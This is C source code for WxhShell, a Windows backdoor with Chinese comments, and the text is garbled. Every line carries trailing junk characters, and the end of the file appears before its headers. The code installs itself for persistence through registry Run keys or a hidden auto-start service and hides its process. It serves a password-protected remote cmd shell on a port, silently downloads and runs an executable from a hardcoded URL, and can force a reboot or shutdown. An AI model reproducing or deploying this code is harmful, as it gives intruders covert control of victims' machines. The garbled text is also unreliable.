    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5X:AbF  
    else { 6D;Sgc5"  
    closesocket(wsh); G6Axs1a  
    ExitThread(0); fivw~z|[@  
    } zy?|ODM  
    break; 3@_xBz,I.  
    } *uRBzO}  
  // 获取shell ^]Y> [[  
  case 's': { R{`(c/%8  
    CmdShell(wsh); 6?gW-1mY  
    closesocket(wsh); q4h]o^+  
    ExitThread(0); x3=A:}t8  
    break; 8.1c?S  
  } 'T;P;:!\  
  // 退出 _IHV7*u{;  
  case 'x': { :1Xz4wkWS*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >0y'Rgfe  
    CloseIt(wsh); ;3coP{  
    break; wYXQlxdy  
    } :wyno#8`-  
  // 离开 Vi$~-6n&  
  case 'q': { "m$##X\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); IZ-1c1   
    closesocket(wsh); J9nX"Sb  
    WSACleanup(); PCee<W_%YE  
    exit(1); / y40(l?  
    break; \[i1JG  
        }  `,*3[  
  } [ZwjOi:)  
  } lN 4oW3QT  
fCn^=8KOZ  
  // 提示信息 r| wS<cA2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s-!ArB,  
} #powub  
  } z]y.W`i   
~8Fk(E_  
  return; ;\dBfP  
} Z9ZPr?C=  
+4~_Ei[i  
// shell模块句柄 ./Zk`-OBT  
int CmdShell(SOCKET sock) Lnl(2xD  
{ :K,i\  
STARTUPINFO si; T@B/xAq5!  
ZeroMemory(&si,sizeof(si)); /N10  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x_Y!5yg E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H [\o RId  
PROCESS_INFORMATION ProcessInfo; oG?Xk%7&\  
char cmdline[]="cmd"; _Kf%\xg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3AtGy'NTp  
  return 0; q-2Bt,Y  
} ] IQ&>z}<  
YQvD|x  
// 自身启动模式 V#$RR!X'  
int StartFromService(void) A2Ed0|By  
{ ',@3>T**  
typedef struct `:KY\  
{ Ykw*&opz  
  DWORD ExitStatus; ifQ*,+@fxR  
  DWORD PebBaseAddress; Wq&if_  
  DWORD AffinityMask; ;?i W%:_,  
  DWORD BasePriority; %3-y[f  
  ULONG UniqueProcessId; ,AFu C <  
  ULONG InheritedFromUniqueProcessId; 9G5rcYi  
}   PROCESS_BASIC_INFORMATION; %JBz5G  
)F>#*P  
PROCNTQSIP NtQueryInformationProcess; hBUn \~z  
nPl?K:(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8C:z"@o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I-*S&SiXjI  
B hGu!Y6f  
  HANDLE             hProcess; 6,"Q=9k4[  
  PROCESS_BASIC_INFORMATION pbi; s~g *@K>+  
D2 eckLT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D?_Zl;bQ'^  
  if(NULL == hInst ) return 0; }@+0/W?\.  
YnAm{YyI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lvz7#f L~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); azp):*f("  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P l]O\vh  
5c0 ZRV#  
  if (!NtQueryInformationProcess) return 0; \ :sUL!  
@o _}g !9=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *vxk@ `K~  
  if(!hProcess) return 0; mxC;?s;~  
b5vC'B-!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,!y$qVg'\f  
G4X|Bka  
  CloseHandle(hProcess); b=NxUd O  
xs bE TP?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); WPMSm<[  
if(hProcess==NULL) return 0; )9`qG:b'  
l<LI7Z]A  
HMODULE hMod; AJ`h9 %B  
char procName[255]; BM .~ 5\  
unsigned long cbNeeded; JIOR4'9  
$ @`V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]72`};  
J @1!Oq>  
  CloseHandle(hProcess); b9HtR-iR;  
6j]0R*B7`Q  
if(strstr(procName,"services")) return 1; // 以服务启动 ]MitOkX  
g7`LEF <A  
  return 0; // 注册表启动  w``ST  
} <)c)%'v  
9IfmW^0  
// 主模块 ;))+>%SGCt  
int StartWxhshell(LPSTR lpCmdLine) q ^N7 I@Y  
{ l4YJ c  
  SOCKET wsl; {@{']Y  
BOOL val=TRUE; Vaw+.sG`AP  
  int port=0; XJ| <?   
  struct sockaddr_in door; 7WS p($  
%RRNJf}z  
  if(wscfg.ws_autoins) Install(); G@X% +$I  
051 E6-  
port=atoi(lpCmdLine); |{NYkw  
oQVgyj.  
if(port<=0) port=wscfg.ws_port; L48_96  
Hd ={CFip  
  WSADATA data; A[{yCn`tM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $ >eCqC3  
 {Gk1vcq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZG8DIV\D7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D.u{~  
  door.sin_family = AF_INET; /{n-Y/j p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); KBc1{adDx@  
  door.sin_port = htons(port); )g%d:xI  
`e&Suyf4B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { FGmb<z 2p  
closesocket(wsl); <=/hi l  
return 1; L^?qOylu  
} +lcbi  
4p;`C  
  if(listen(wsl,2) == INVALID_SOCKET) { -- 95Jz  
closesocket(wsl); #r\4sVg  
return 1; .|fH y  
} \V~eVf;~  
  Wxhshell(wsl); `mJ6K&t$<  
  WSACleanup(); j>"@,B g*  
J<h $ wM  
return 0; `l[c_%Bm  
.?sx&2R2  
} !M1"b;  
3,qr-g|;jM  
// 以NT服务方式启动 ;$wVu|&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !?h;wR  
{ bJTBjS-7  
DWORD   status = 0; iz PDd{[  
  DWORD   specificError = 0xfffffff; z$. 88 ^  
K Z91-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P}^W)@+3k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c-6?2\]j@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =X:Y,?  
  serviceStatus.dwWin32ExitCode     = 0; E*K;H8}s  
  serviceStatus.dwServiceSpecificExitCode = 0; )F]]m#`  
  serviceStatus.dwCheckPoint       = 0; zHRplm+ i  
  serviceStatus.dwWaitHint       = 0; +\ .Lp 5  
jm/`iXnMf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `1fY)d^ZS  
  if (hServiceStatusHandle==0) return; >0TxUc_va  
0 /U{p,r6`  
status = GetLastError(); Kis"L(C  
  if (status!=NO_ERROR) yWo; a  
{ I1M%J@Cz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [waIi3Dv\  
    serviceStatus.dwCheckPoint       = 0; `b7t4d*  
    serviceStatus.dwWaitHint       = 0; Iit; F  
    serviceStatus.dwWin32ExitCode     = status; ?IT*: A] E  
    serviceStatus.dwServiceSpecificExitCode = specificError; . 3T3E X|G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ( ^Nz9{  
    return; )Y{L&A  
  } = m#?neop  
`+:`_4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &d^m 1  
  serviceStatus.dwCheckPoint       = 0; S;#'M![8  
  serviceStatus.dwWaitHint       = 0; =dYqS[kJW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k,+0u/I  
} "J_9WUN  
>_T-u<E  
// 处理NT服务事件,比如:启动、停止 s9DYi~/,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g*C7 '  
{ R$[vm6T?  
switch(fdwControl) >!1-lfa8  
{ vV-`jsq20H  
case SERVICE_CONTROL_STOP: }00BllJ  
  serviceStatus.dwWin32ExitCode = 0; cIOlhX@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M!D3}JRm  
  serviceStatus.dwCheckPoint   = 0; U8n V[  
  serviceStatus.dwWaitHint     = 0; M-Y_ Wb3  
  { !wh8'X*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ],Do6 @M-  
  } P{ lB50  
  return; sWnLEw  
case SERVICE_CONTROL_PAUSE: ;+ hH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v;D~Pa  
  break; Y O}<Ytx  
case SERVICE_CONTROL_CONTINUE: =$JET<(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s R/F"  
  break; ')<hON44EX  
case SERVICE_CONTROL_INTERROGATE: _ *Pf  
  break; 7n<::k\lb  
}; r0% D58  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *#+An<iT ;  
} z[qDkL  
3 {sVVq5Y  
// 标准应用程序主函数 $Ri; ^pZw[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _ZSR.w}j/  
{ wgGl[_)  
Y\g3h M  
// 获取操作系统版本 pG;U2wE  
OsIsNt=GetOsVer(); 3"~!nn0;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &E5g3lf  
t&e{_|i#+  
  // 从命令行安装 }a(dyr`S  
  if(strpbrk(lpCmdLine,"iI")) Install(); p947w,1![  
N6i Q8P -  
  // 下载执行文件 R%[ c;i  
if(wscfg.ws_downexe) { dhK~O.~m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #5o(h+w)  
  WinExec(wscfg.ws_filenam,SW_HIDE); QD]6C2j*  
} ]Gq !`O1  
JYHl,HH#z  
if(!OsIsNt) { Y9XEP7  
// 如果时win9x,隐藏进程并且设置为注册表启动 L`TRJ.GaJ  
HideProc(); YNsJZnGr8#  
StartWxhshell(lpCmdLine); oj+hQ+>  
} LyFN.2qw  
else Bh-ym8D  
  if(StartFromService()) %:* YO;dw'  
  // 以服务方式启动 :& ."ttf=  
  StartServiceCtrlDispatcher(DispatchTable); 8[{ Vu0R  
else @GW #&\yM  
  // 普通方式启动 sdw(R#GE  
  StartWxhshell(lpCmdLine); =]0&i]z[.  
Se =`N  
return 0; BR;D@R``}  
} t'k$&l}+  
3AN/ H  
XUuN )i  
$*=<Yw4  
=========================================== bY~pc\V:`w  
'E""amIJ  
oe-\ozJ0  
0oIe> r  
{;6`_-As%  
&6nWzF  
" ~oY^;/ j  
\z(gqkc 6  
#include <stdio.h> ?^\|-Gr  
#include <string.h> Z"fJ`--  
#include <windows.h> .U]-j\  
#include <winsock2.h> 49HZ2`Y  
#include <winsvc.h> pIqeXY  
#include <urlmon.h> -PR N:'T  
v mk2{f,g  
#pragma comment (lib, "Ws2_32.lib") r3UUlR/Do  
#pragma comment (lib, "urlmon.lib") w ;^ra<*<+  
86F1.ve  
#define MAX_USER   100 // 最大客户端连接数 >tW#/\x{  
#define BUF_SOCK   200 // sock buffer sLxc(d'A  
#define KEY_BUFF   255 // 输入 buffer o|["SYIf  
A^<jy=F&  
#define REBOOT     0   // 重启 |aq"#Ml)  
#define SHUTDOWN   1   // 关机 JDT`C2-Q  
HLG"a3tt  
#define DEF_PORT   5000 // 监听端口 61'XgkacDS  
8FY?!C  
#define REG_LEN     16   // 注册表键长度 ., 6-u  
#define SVC_LEN     80   // NT服务名长度 -e:`|(Mo  
P\k# >}}  
// 从dll定义API iGB}Il)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c\AfaK^KF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;u)I\3`*!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $*fMR,~t&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SO0PF|{\r  
;uP:"k  
// wxhshell配置信息 20Wg=p9L  
struct WSCFG { sd|).;s}  
  int ws_port;         // 监听端口 c5GuM|*7  
  char ws_passstr[REG_LEN]; // 口令 vy I!]p  
  int ws_autoins;       // 安装标记, 1=yes 0=no 97!;.f-  
  char ws_regname[REG_LEN]; // 注册表键名 dvUic-w<j  
  char ws_svcname[REG_LEN]; // 服务名 g3y+&Y_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oNF6<A(@$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pFjK}J OF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *J`O"a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /9fR'EO{x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O :Tj"@h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Xc&9Glf  
Qzw;i8n{  
}; /mzlH  
NTs aW}g  
// default Wxhshell configuration Z(CkZll  
struct WSCFG wscfg={DEF_PORT, }0Ed ]  
    "xuhuanlingzhe", e$rZ5X  
    1, b d!Y\OD  
    "Wxhshell", t*w/{|yO  
    "Wxhshell", 7-fb.V9  
            "WxhShell Service", }@d@3  
    "Wrsky Windows CmdShell Service", \,0oX!<YY  
    "Please Input Your Password: ", 2<}%kQ`  
  1, L ~N460  
  "http://www.wrsky.com/wxhshell.exe", h <<v^+m  
  "Wxhshell.exe" IW] rb/H  
    }; aK^q_ghh[  
T]~ xj4  
// 消息定义模块 pTLCWbF?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6.yu-xm  
char *msg_ws_prompt="\n\r? for help\n\r#>"; x7 ,5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tc_3sC7jN  
char *msg_ws_ext="\n\rExit."; - 1gVeT&  
char *msg_ws_end="\n\rQuit."; @f3E`8  
char *msg_ws_boot="\n\rReboot..."; %d9uTm;  
char *msg_ws_poff="\n\rShutdown..."; eTcd"Kd/  
char *msg_ws_down="\n\rSave to "; Cq~dp/V  
{E|$8)58i  
char *msg_ws_err="\n\rErr!"; (TT}6j  
char *msg_ws_ok="\n\rOK!"; \ @2R9,9E  
pOoEI+t  
char ExeFile[MAX_PATH]; DZtsy!xA  
int nUser = 0; [ub e6  
HANDLE handles[MAX_USER]; a0H+.W+]  
int OsIsNt; 67FWa   
7WzxA=*#  
SERVICE_STATUS       serviceStatus; )zDCu`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; & wDs6xq  
+9sQZB# (  
// 函数声明 [j+sC*  
int Install(void); >Cq<@$I2EB  
int Uninstall(void); mj7#&r,1l  
int DownloadFile(char *sURL, SOCKET wsh); 1 [Bk%G@D&  
int Boot(int flag); 1T n}  
void HideProc(void); ?(_08O  
int GetOsVer(void); QQc -Ya!v  
int Wxhshell(SOCKET wsl); 1EX;MW-p<T  
void TalkWithClient(void *cs); Z6MO^_m2  
int CmdShell(SOCKET sock); *MW\^PR?  
int StartFromService(void); >uEzw4w  
int StartWxhshell(LPSTR lpCmdLine); SiN0OB  
]u/sphPe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h^P#{W!e\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;L ^o*`  
`r 4fm`<  
// 数据结构和表定义 XC#oB~K'  
SERVICE_TABLE_ENTRY DispatchTable[] = aV0"~5  
{ ]\HvKCN}  
{wscfg.ws_svcname, NTServiceMain}, /&J T~M  
{NULL, NULL} "qy,*{~  
}; +k R4E23:  
qwAT>4  
// 自我安装 &m;*<}X  
int Install(void) Bdpy:'fJn  
{ l,aay-E  
  char svExeFile[MAX_PATH]; V0a3<6@4  
  HKEY key; aw&,S"A@  
  strcpy(svExeFile,ExeFile); '8kP.l  
~6md !o%i  
// 如果是win9x系统,修改注册表设为自启动 FW DNpr  
if(!OsIsNt) { }"%N4(Kd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { * kh tJ]=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _ jlRlt  
  RegCloseKey(key); |CbikE}kL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @BMx!r5kn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lq7E 4r  
  RegCloseKey(key); b" [|:F>P  
  return 0; H3oFORh  
    } "_?nN"A7  
  } _7y[B&g[r  
} buHJB*?9  
else { ba9?(+i$h  
?:9"X$XR  
// 如果是NT以上系统,安装为系统服务 8zq=N#x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [{/jI\?v  
if (schSCManager!=0) $<[79al#  
{ 4s oJ.j8  
  SC_HANDLE schService = CreateService E92-^YY  
  ( @IZnFHN  
  schSCManager, ~pky@O#b  
  wscfg.ws_svcname, )fAUum  
  wscfg.ws_svcdisp, j![\& z  
  SERVICE_ALL_ACCESS, ql~J8G9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , u_Z+;{]Pj  
  SERVICE_AUTO_START, j B{8u&kz)  
  SERVICE_ERROR_NORMAL, >=w)x,0yX  
  svExeFile, 2MK-5 Kg  
  NULL, dlnX_+((KC  
  NULL, dqcL]e  
  NULL, @>7%qS  
  NULL, `">=  
  NULL ]hV*r@d  
  ); &BSn?  
  if (schService!=0) :b!s2n!u  
  { uhq8   
  CloseServiceHandle(schService); ,<X9Y2B  
  CloseServiceHandle(schSCManager); | 6y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -trkA'ewZ  
  strcat(svExeFile,wscfg.ws_svcname); F((4U"   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _)iCa3z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); An0GPhC  
  RegCloseKey(key); tX~w{|k  
  return 0; qmP].sA  
    } ]eV8b*d6  
  } K:WDl;8 (d  
  CloseServiceHandle(schSCManager); 'Z]w^<  
} 1{.9uw"2S  
} X5w$4Kj&4l  
:rP=t ,  
return 1; o5)<$P43  
} e+=K d+:k  
iN.n8MN=I  
// 自我卸载 $<OD31T  
int Uninstall(void) tQ601H>o  
{ HK% 7g  
  HKEY key; Pc]HP  
y<.5xq5_3  
if(!OsIsNt) { ez[Vm:2K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4mbBmQV$#  
  RegDeleteValue(key,wscfg.ws_regname); u$`a7Lp,n  
  RegCloseKey(key); lk=<A"^S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !PE]C!*gv&  
  RegDeleteValue(key,wscfg.ws_regname); EiaW1Cs  
  RegCloseKey(key); wdoR%b{M  
  return 0; dgP3@`YS  
  } .X;K%J2  
} "uf%iJ:%  
} *=xr-!MEk  
else {  _','9|  
c1gQ cqF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); DW3G  
if (schSCManager!=0) og>uj>H&  
{ 4I(Xy]wm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O&hTNIfi  
  if (schService!=0) e~(5%CO>#j  
  { -7|H}!DFT  
  if(DeleteService(schService)!=0) { $Z>'Jp  
  CloseServiceHandle(schService); 4b`=>X;W  
  CloseServiceHandle(schSCManager); .eC1qWZJpd  
  return 0; UL9n-M =  
  } ,]/X\t5]D  
  CloseServiceHandle(schService); TJ*T:?>e  
  } \^1E4C\":  
  CloseServiceHandle(schSCManager); . 'yCw#f  
} $`'/+x"%  
} ABYcH]m  
:2)/FPL6  
return 1; d0 /#nz  
} ll?X@S  
m) D|l1AtF  
// 从指定url下载文件 |+"(L#wk  
int DownloadFile(char *sURL, SOCKET wsh) t3^&; &[  
{ %xt^698&X  
  HRESULT hr; V^~:F  
char seps[]= "/"; Xlt|nX~#;  
char *token; >KKMcTOYY  
char *file; !1b;F*H  
char myURL[MAX_PATH]; FE;x8(;W8  
char myFILE[MAX_PATH]; uvS)8-o&F  
E<*xx#p  
strcpy(myURL,sURL); a-J.B.A$Z/  
  token=strtok(myURL,seps); P1f[% 1  
  while(token!=NULL) d<x7{?~.DK  
  { AT|3:]3E  
    file=token; v(%*b,^  
  token=strtok(NULL,seps); -H-~;EzU  
  } rU(+T0t?I  
0Y5_PTWb+Y  
GetCurrentDirectory(MAX_PATH,myFILE); S0W||#Pr  
strcat(myFILE, "\\"); BfiD9ka-z  
strcat(myFILE, file); ~7Ux@Sx;  
  send(wsh,myFILE,strlen(myFILE),0); yEQs:v6L~  
send(wsh,"...",3,0); YZJyk:H\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9-m=*|p  
  if(hr==S_OK) Qe(:|q _  
return 0; 0C ,`h `  
else ,MIV=*  
return 1; 7Fsay+a  
@9|hMo  
} PeEj&4k  
|! "eWTJ  
// 系统电源模块 6D_D';o  
int Boot(int flag) | VDV<g5h  
{ }SCM I4\  
  HANDLE hToken; )}O8?d`  
  TOKEN_PRIVILEGES tkp; w@fi{H(R  
(&x['IR  
  if(OsIsNt) { .6 ?U@2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ""~ajy  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Yu2Bkq+  
    tkp.PrivilegeCount = 1; Ny)X+2Ae  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C+&l< fM&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #gw]'&{8D  
if(flag==REBOOT) { /; 85i6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) IV)j1  
  return 0; 18:%~>.!  
} n '6jou  
else { +X]vl=0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7"D.L-H  
  return 0; )@bQu~Y  
}  #:%/(j  
  } "U"Z 3 *  
  else { x'R`. !g3  
if(flag==REBOOT) { \Y}8S/]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9( wK@  
  return 0; Wo=jskBrQ  
} `Ryp% Bn  
else { <1M-Ro?5k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;t`&n['N>  
  return 0; U :_^#\p  
} "g8M0[7e3  
} r" ,GC]  
sCHJ&>m5-  
return 1; Q&bM\;Ml  
} ]e@Oiq  
Pk)1WK7E  
// win9x进程隐藏模块 QP J4~  
void HideProc(void) \dQNLLg/  
{ S|+o-[e8O  
8}| (0mC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r]36z X v  
  if ( hKernel != NULL ) u,4eCxYE$  
  { nzeX[*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); JqiP>4Uwm^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }JAG7L&{  
    FreeLibrary(hKernel); 8Uxne2e  
  } q> C'BIr  
du^J2m{f  
return; 8)I^ t81  
} *4Y V v  
(Ep\Z 6*  
// 获取操作系统版本 !%0 * z  
int GetOsVer(void) o{[YA} xc  
{ IPo?:1x]s  
  OSVERSIONINFO winfo; :9 ^* ^T  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kMd.h[X~  
  GetVersionEx(&winfo); Q]>.b%s[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `PH{syz  
  return 1; VW4r{&rS  
  else B^9j@3Ux  
  return 0; czd~8WgOa  
} Th%Sjgsn  
PwLZkr@4^  
// 客户端句柄模块 -3Vx76Y  
int Wxhshell(SOCKET wsl) d6 5L!4  
{ '!$Rw"K.  
  SOCKET wsh; c!9nnTap  
  struct sockaddr_in client; V "h +L7T  
  DWORD myID; @;RXLq/8  
u.Dz~$T  
  while(nUser<MAX_USER) IO-Ow!  
{ ~$?ZK]YOrx  
  int nSize=sizeof(client); @MCg%Afw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g}',(tPMZ  
  if(wsh==INVALID_SOCKET) return 1; tZG:Pr1U@  
HC,Se.VYS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E~oOKQ5W  
if(handles[nUser]==0) )+2hl  
  closesocket(wsh); )Z9>$V$j  
else ?.;c$'  
  nUser++; [HZv8HU|  
  } >\3V a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &KRX[2  
Npy :!  
  return 0; ^.NU|NQi'  
} JcxThZP~  
Q$@I"V&G.  
// 关闭 socket *bA.zmzM  
void CloseIt(SOCKET wsh) "1 M[5\Ax  
{ TbW38\>.R  
closesocket(wsh); jtc]>]6i  
nUser--; NHZz _a=  
ExitThread(0); s,&Z=zt0R  
} JnM["Q=`  
7O-x<P;  
// 客户端请求句柄 _zi|  
void TalkWithClient(void *cs) WEi2=3dV  
{ SNI)9k(T{  
Hja3a{LH  
  SOCKET wsh=(SOCKET)cs; nc|p)  
  char pwd[SVC_LEN]; 5"O.,H}  
  char cmd[KEY_BUFF]; X_\otV h(D  
char chr[1]; '16b2n+F@#  
int i,j; '$%l7  
,1o FPa{?  
  while (nUser < MAX_USER) { ._{H~R|  
%Y*Ndt4  
if(wscfg.ws_passstr) { wcY? rE9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #'9HU2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @i IRmQ  
  //ZeroMemory(pwd,KEY_BUFF); _>X+ZlpU:  
      i=0; (0_2sfS  
  while(i<SVC_LEN) { Y glmX"fLf  
Zba2d,8/  
  // 设置超时 J{fH ['tzO  
  fd_set FdRead; RdR p.pb8  
  struct timeval TimeOut; I(BQ34q  
  FD_ZERO(&FdRead); <lE <f+  
  FD_SET(wsh,&FdRead); ]|P iF+  
  TimeOut.tv_sec=8; _^%,x  
  TimeOut.tv_usec=0; (M.&^w;`,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N64dO[op  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3m!X/u  
VQ9/Gxdeo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ) ahA[  
  pwd=chr[0]; Fyatd  
  if(chr[0]==0xd || chr[0]==0xa) { IKilr'  
  pwd=0; ^yN&ZI3P&  
  break; fHd#u%63K  
  } $C$V%5aA  
  i++; <1${1A <Wa  
    } [j/9neaye  
N~zdWnSZ@G  
  // 如果是非法用户,关闭 socket #fn)k1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aE$[5 2  
} K/yxE|w<  
Uf;^%*P4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R|87%&6']  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u^ 8{Z;mm  
jLHkOk5{:  
while(1) { Sk\K4  
:emiQ  
  ZeroMemory(cmd,KEY_BUFF); Tqn@P  
5f K_Aq{  
      // 自动支持客户端 telnet标准   nazZ*lC  
  j=0; Gm^U;u}=f  
  while(j<KEY_BUFF) { -ifFbT+x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4yA+ h2  
  cmd[j]=chr[0]; 0rs"o-s<  
  if(chr[0]==0xa || chr[0]==0xd) { ;RPx^X~  
  cmd[j]=0; j/c&xv 7=  
  break; Sp]0c[37R  
  } eiaFaYe\  
  j++; XW)lDiJl  
    } hH8oyIC  
 < !C)x  
  // 下载文件 ['tY4$L(  
  if(strstr(cmd,"http://")) { F8,RXlGfA[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); IDriGZZ<)6  
  if(DownloadFile(cmd,wsh)) /dI&o,sA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (m(JK^  
  else T;a}#56{^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >7T'OC  
  } k|PN0&J  
  else { M; tqp8  
:vQrOn18p  
    switch(cmd[0]) { :zke %Yx  
  5 ,B_u%bb  
